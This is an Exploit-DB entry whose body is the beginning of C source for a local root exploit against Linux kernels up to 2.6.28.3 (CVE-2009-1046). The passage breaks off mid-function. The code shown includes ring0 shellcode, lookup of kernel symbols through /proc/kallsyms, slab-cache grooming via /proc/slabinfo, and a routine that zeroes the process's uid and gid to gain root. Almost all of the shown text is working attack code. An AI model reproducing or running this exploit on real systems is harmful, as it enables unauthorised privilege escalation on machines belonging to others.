Exploit-DB #9083
Description: Linux Kernel 2.6.24_16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) - 'set_selection()' UTF-8 Off-by-One Privilege Escalation
Type: local
Platform: linux_x86-64
Date: 2009-07-09
Author: sgrakkyu

Exploit:
/* CVE-2009-1046 Virtual Console UTF-8  set_selection() off-by-one(two) Memory Corruption
 * Linux Kernel <= 2.6.28.3 
 *
 * coded by: sgrakkyu <at> antifork.org
 * http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html
 *
 * Dedicated to all people talking nonsense about non exploitability of kernel heap off-by-one overflow
 *
 * NOTE-1: you need a virtual console attached to the standard output (stdout) 
 * - physical login
 * - ptrace() against some process with the same uid already attached to a VC
 * - remote management ..
 *
 * NOTE-2: UTF-8 character used is: U+253C - it seems to be supported in most standard console fonts
 * but if it's _not_: change it (and change respectively STREAM_ZERO and STREAM_ZERO_ALT defines)
 * If you use an unsupported character expect some sort of recursive fatal ooops:)
 *
 * Designed to be built as x86-64 binary only (SLUB ONLY)
 * SCTP stack has to be available
 * 
 * Tested on target:
 * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
 * Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server)
 * Fedora Core 10 x86_64 (default installed kernel - without selinux)
 *
 */


#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <string.h>
#include <linux/tiocl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
#include <sched.h>
#include <unistd.h>
#include <fcntl.h>

#ifndef __x86_64__
#error "Architecture Unsupported"
#error "This code was written for x86-64 target and has to be built as x86-64 binary"
#else

#ifndef __u8
#define __u8  uint8_t
#endif
#ifndef __u16
#define __u16 uint16_t
#endif
#ifndef __u32
#define __u32 uint32_t
#endif
#ifndef __u64 
#define __u64 uint64_t
#endif


#define STREAM_ZERO 10
#define STREAM_ZERO_ALT 12

#define SCTP_STREAM 22
#define STACK_SIZE 0x1000
#define PAGE_SIZE 0x1000
#define STRUCT_PAGE  0x[PII_REDACTED]000000
#define STRUCT_PAGE_ALT 0x[PII_REDACTED]000000 
#define CODE_PAGE      0x[PII_REDACTED]010000
#define LOCALHOST "127.0.0.1"
#define KMALLOC "kmalloc-128"
#define TIMER_LIST_FOPS "timer_list_fops"

#define __msg_f(format, args...) \
  do { fprintf(stdout, format, ## args); } while(0)

#define __msg(msg) \
  do { fprintf(stdout, "%s", msg); } while(0)

#define __fatal_errno(msg) \
do { perror(msg); __free_stuff(); exit(1); } while(0)

#define __fatal(msg) \
do { fprintf(stderr, msg); __free_stuff(); exit(1); } while(0)



#define CJUMP_OFF 13
char ring0[]=
"\x57"                                      //    push   %rdi
"\x50"                                      //    push   %rax
"\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"      //    mov    %gs:0x0,%rdi
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41"  //    mov   xxx, %rax
"\xff\xd0"                                  //    callq  *%rax
"\x58"                                      //    pop    %rax
"\x5f"                                      //    pop    %rdi
"\xc3";                                     //    retq


/* conn struct */
static __u16 srvport;
struct sockaddr_in server_s;
static struct sockaddr_in caddr;

/* some fds.. */
static int g_array[10];
static int fd_zmap_srv=-1;
static int kmalloc_fd=-1;
static int unsafe_fd[4] = {-1,-1,-1,-1}; 

/* misc */
static int dorec = 0, cankill=1, highpage=0;
static char cstack[STACK_SIZE*2];
static __u16 zstream=STREAM_ZERO;
static __u32 uid,gid;
static __u64 fops;
static pid_t child=0;
static char symbuf[20000];

static void __free_stuff()
{
  int i;
  for(i=3; i<2048; i++) 
  {
    if((unsafe_fd[0] == i || unsafe_fd[1] == i || 
       unsafe_fd[2] == i || unsafe_fd[3] == i))
        continue; 

    close(i);
  }
}

static void bindcpu()
{
  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(0, &set);
  
  if(sched_setaffinity(0, sizeof(cpu_set_t), &set) < 0)
    __fatal_errno("setaffinity");
}

/* parse functions are not bof-free:) */
static __u64 get_fops_addr()
{
  FILE* stream;
  char fbuf[256];
  char addr[32];
  
  stream = fopen("/proc/kallsyms", "r");
  if(stream < 0)
    __fatal_errno("open: kallsyms");

  memset(fbuf, 0x00, sizeof(fbuf));
  while(fgets(fbuf, 256, stream) > 0)
  {
    char *p = fbuf;
    char *a = addr;
    memset(addr, 0x00, sizeof(addr));
    fbuf[strlen(fbuf)-1] = 0;
    while(*p != ' ')
      *a++ = *p++;  
    p += 3;
    if(!strcmp(p, TIMER_LIST_FOPS))
      return strtoul(addr, NULL, 16); 
  }

  return 0;
}

static int get_total_object(int fd)
{
  char name[32];
  char used[32];
  char total[32];
  char *ptr[] = {name, used, total};
  int ret,i,toread=sizeof(symbuf)-1;
  char *p = symbuf;

  lseek(fd, 0, SEEK_SET);
  memset(symbuf, 0x00, sizeof(symbuf));
  while( (ret = read(fd, p, toread)) > 0)
  {
    p += ret; 
    toread -= ret;
  }

  p = symbuf;
  do
  {
    for(i=0; i<sizeof(ptr)/sizeof(void*); i++)
    {
      char *d = ptr[i];
      while(*p != ' ')
        *d++ = *p++;   
      *d = 0;
      while(*p == ' ')
        p++;
    }
    
    while(*p++ != '\n');
  
    if(!strcmp(KMALLOC, name))
      return atoi(total);  

  } while(*p != 0);
  return 0;
}


static void ring0c(void* t)
{
  int i;
  __u32 *p = t;
  for(i=0; i<1100; i++,p++)
  {
      if(p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
         p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
         {
           p[0] = p[1] = p[2] = p[3] = 0;
           p[4] = p[5] = p[6] = p[7] = 0;
           /* dont care about caps */
           break;
         }
  }
}


static int get_kmalloc_fd()
{
  int fd;
  fd = open("/proc/slabinfo", O_RDONLY);
  if(fd < 0)
    __fatal_errno("open: slabinfo");
  return fd;
}


static int write_sctp(int fd, struct sockadd